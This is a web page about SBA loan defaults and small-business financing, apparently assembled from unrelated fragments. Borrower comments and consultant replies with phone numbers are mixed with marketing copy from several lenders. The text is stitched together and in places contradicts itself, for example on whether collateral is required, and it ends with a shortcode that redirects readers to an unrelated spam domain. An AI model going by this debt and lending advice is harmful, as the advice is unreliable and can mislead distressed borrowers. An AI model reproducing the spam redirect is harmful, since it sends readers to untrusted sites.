PG, your situation sounds very familiar to emails and phone calls that I get weekly. It sounds like you did the typical run and hide in a default situation back in 2007. What happened was, after a period of time the SBA passed this file down to the US Department of Treasury and eventually your file ended up on somebody’s desk and they took your tax returns. The next thing they will do is start a wage garnishment proceeding. I would not worry about a foreclosure as there is not enough money owed for them to pursue that. You need to contact the Department of Treasury, and track your file down and negotiate some type of payment plan with them.
The SBA Export Working Capital Loan (EWCP) can be used to pay suppliers, buy inventory, or cover the production costs for goods/services you will be exporting. All of this has the goal of allowing your business to be able to offer more favorable/flexible terms to your foreign customers.
SBA-backed loans are in principle open to any small business, but yours will need to meet certain criteria in order to qualify. And even if you meet the federal government’s qualifications, you still need to apply to a commercial lender and be approved.
John, please send me an email with your contact information. I’m struggling with my SBA loan need consultation & likely representation of your skill set. I can be reached at 714-305-2165. Thank You, Scott Branis.
There is probably a better way to resolve this. If you allow your social security payment to be used as a payment source, it will continue for the rest of your life. We can help you with this, but you need to contact me very soon. Please call me at 619-279-7522 or email me at [email protected].
HELLO MY FATHER TO OUT A SBA LOAN WITH NO SECURITY AND MY MOM NAME WAS SECOND ON IT MY FATHER PAST AWAY 2 YEARS AGO MY MOM TRIED TO CONTINUE TO PAY ON IT BUT GOT DEFAULT BECUASE SHE ONLY RECEIVED SOCIAL SECURITY AND COULD NOT AFFORD TO PAY NOW THE FORWARD TO THE TREASURE WHAT CAN SHE DO THEY TALKING ABOUT TAKING 150 A MONTH FRO HER SOCIAL SECURITY CHECK PLEASE LET ME NO WHAT SHE CAN DO
My wife and I have an E2 Visa (Investor Visa) and obtained an SBA loan 2 years ago with the help of our GM who is American Citizen. Our initial agreement was that we would get him of the loan as quick as possible assuming that according to SBA – we could take over the loan and guarantee for the loan after 12 month operating an LLC in California. I’ve contacted the Bank (Monterey County Bank) and they told me that in order to qualify for the loan I have to have at least a green card or be American citizen. We are not in default or anything so it is just to clarify and understand how we can get our GM of the loan.
Community Advantage is a pilot initiative aimed at increasing the number of SBA 7(a) lenders who reach underserved communities, targeting community-based, mission-focused financial institutions which were previously not able to offer SBA loans.
At Fora Financial, we do not restrict how you use your loan, so you can use it in ways that will benefit your specific business. Whether it is purchasing equipment or paying employees, you’ll be able to meet your business’s specific needs.
Ever since Congress created the SBA in 1953, this federal agency has helped guarantee millions of loans to small and mid-sized businesses, in addition to providing counseling, contracts, and other forms of assistance. The idea behind the SBA-backed loans was that the commercial banking system wasn’t offering small business owners the same types of access to capital to start, grow, and keep their businesses functioning that those financial services institutions offer to larger businesses — given that they often have more assets and collateral, a larger cash flow, and a lengthier and more proven credit history.
A small business loan can be the right choice for many entrepreneurs, for some very practical and strategic reasons, since there’s no collateral required, very little documentation and, in most instances, there’s no annual fee or prepayment penalty.
Our business, an S-corp, secured an SBA loan in 2007. We defaulted in 2012 when our business closed. All assets that were collateral were sold and we got a loan for the remaining equity in our home, also collateral, which went towards the balance. The remainder, apx 50k, has been sent to the SBA or Treasury, not sure if there is a distinction there for collections. Are we personally liable and what can we expect now?
Small-business grants from private foundations and government agencies are another way to raise startup funds for your small business. They’re not always easy to get, but free capital might be worth the hard work for some new businesses.
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Navigating these requirements and the accompanying paperwork can be difficult and is the main reason people think of SBA loans as slow and hard to get. Some of the best SBA lenders, like SmartBiz, have streamlined this process and drastically cut down paperwork and application times. In fact, SmartBiz routinely closes SBA loans in 2-3 weeks.
A term loan is ideal for expansion and buying equipment, so consider StreetShares if you have at least $100,000 in revenue and six months in business. For businesses that are younger and have less revenue, BlueVine is a better bet. If borrowing costs are important to you, StreetShares offers lower APRs than BlueVine.
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Since you have unpaid customer invoices, you can turn to BlueVine and Fundbox for a cash advance against those receivables. BlueVine is a good choice if you have credit-strong clients and large outstanding payments up to $2 million. If you’re looking to finance a smaller amount, Fundbox covers 100% of your unpaid invoices up to $100,000. To qualify, you need at least six months of activity in a compatible online accounting software such as QuickBooks.
Invoice factoring lets you turn unpaid customer invoices into immediate cash by either selling your invoices outright to an invoice factoring lender that collects on them from your customers directly, or using them as collateral with an invoice financing lender that requires you to collect on your invoices to pay off your loan.
Lenders vary in the amount and history length of the documents they need to process your loan application. Be prepared to provide up to 2 years of history. Not all lenders will require two years on all documents, but many will not require more than that. In any case, be prepared to furnish all requested documentation.
6. The $200,000 and $179,000 payment drained me and the economy of 2008 forced personal bankruptcy. I did not BR the LLC as the A/R finance company liquidated my assets and the BR attorney said it would not be necessary.
Another important distinction is that while 7(a) and 504 loans come from third party lenders, microloans come directly from government funds, which are administered by local nonprofits in each community. Collateral and a personal guarantee are still required.
The Federal Equal Credit Opportunity Act prohibits creditors from discriminating against credit applicants on the basis of race, color, religion, national origin, sex, marital status or age (provided the applicant has the capacity to enter into the binding contract); because all or part of the applicant’s income derives from any public assistance program; or because the applicant has in good faith exercised any right under the Consumer Credit Protection Act. If for any reason your application for business credit is denied, you have the right to a written statement of the specific reasons for the denial. To obtain the statement, please write to National Funding Inc., 9820 Towne Centre Drive, San Diego, California 92121. Funding amount and credit approval is subject to a full credit profile review.
The U.S. Small Business Administration is a federal agency committed to furthering the growth and development of small businesses. One of the ways it does this is by guaranteeing loans to small businesses made through lending partners nationwide. U.S. Bank is both an SBA Preferred Lender and one of America’s most experienced SBA lenders.
Turn to Prosper for access to unsecured loans at great rates. You won’t need to put up any collateral or refinance your home to get the funds you need. Personal loans for small business use are issued to you as an individual, and are dependent on your good credit. Because of this, Prosper can be great help for a new small business.
The scoring is based upon personal and business credit history and other financial information. A strong history of business credit with timely payments to vendors and suppliers may help boost your SBSS score.
Another main requirement is that we do not work with businesses with open bankruptcies, or any dismissed bankruptcies within the past year. We strive to collaborate with businesses that have an overall healthy financial situation.
You may be required to provide additional information related to the specific purpose of the funding you are requesting. For example, if you’re planning to use the loan to buy another business, you need to provide a copy of the purchase contract, the target companies’ financial statements, tax returns, and other details about them.
We understand that financing can be critical to the success of your business. So we offer a suite of business lending solutions at competitive rates that can be customized to meet your needs. Choose from our small business loan and line of credit offerings below. Our Relationship Managers can help you determine the best financing solution for your business.
Research conducted by the Association of Women’s Business Centers indicates that 64% of WBC clients in 2012 were low-income, 39% were persons of color, and 70% were nascent businesses. WBC services are provided in more than 35 languages, with 64% of WBCs providing services in two or more languages. In addition to business training services, 68% of WBCs provide mentoring services, and 45% provide microloans.
Since your new company earns less than $25,000, microloans and personal loans are good options for necessary capital. Microloans through nonprofits and the SBA usually have low APRs and manageable payment terms. If your credit is in the high 600s, you can opt for a personal loan, though they often aren’t available for more than $35,000 and tend to come with higher APRs than microloans.
It seems to me that you may be getting some bad advice. We have been dealing with businesses with problems just like yours for many years. We can help you with this. Please call me at 619-279-7522 or email me at [email protected].
America One’s services are available in all 50 states, so no matter where you do business, we’re here to help. Your business loan terms can range from 6 to 84 months, and may include revolving lines of credit, with competitive rates. Your privacy and security is always protected, and we’ll provide expert guidance throughout the process.
A TD line of credit offers your business financial flexibility as you manage cash flow. Not only is it easy to access on-demand, it can also be paid down and used again as your business grows and changes.
Hi Janice, unfortunately your question comes up often and you will not like the answer. Every guarantor who signs on the loan documents as a guarantor is individually responsible for the full balance if the other guarantors were to file personal BK. However, you are still able to do what is called an Offer in Compromise ” OIC ” for a settlement much less than the balance owed. An OIC is put in place for borrowers who are able to pay back something without having to file Bankruptcy. Most attorneys have zero experience dealing with SBA defaults, never mind financial documentation. It is typically less expensive and more beneficial to hire a consultant who has experience in the SBA field such as Bridge Management Consulting. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]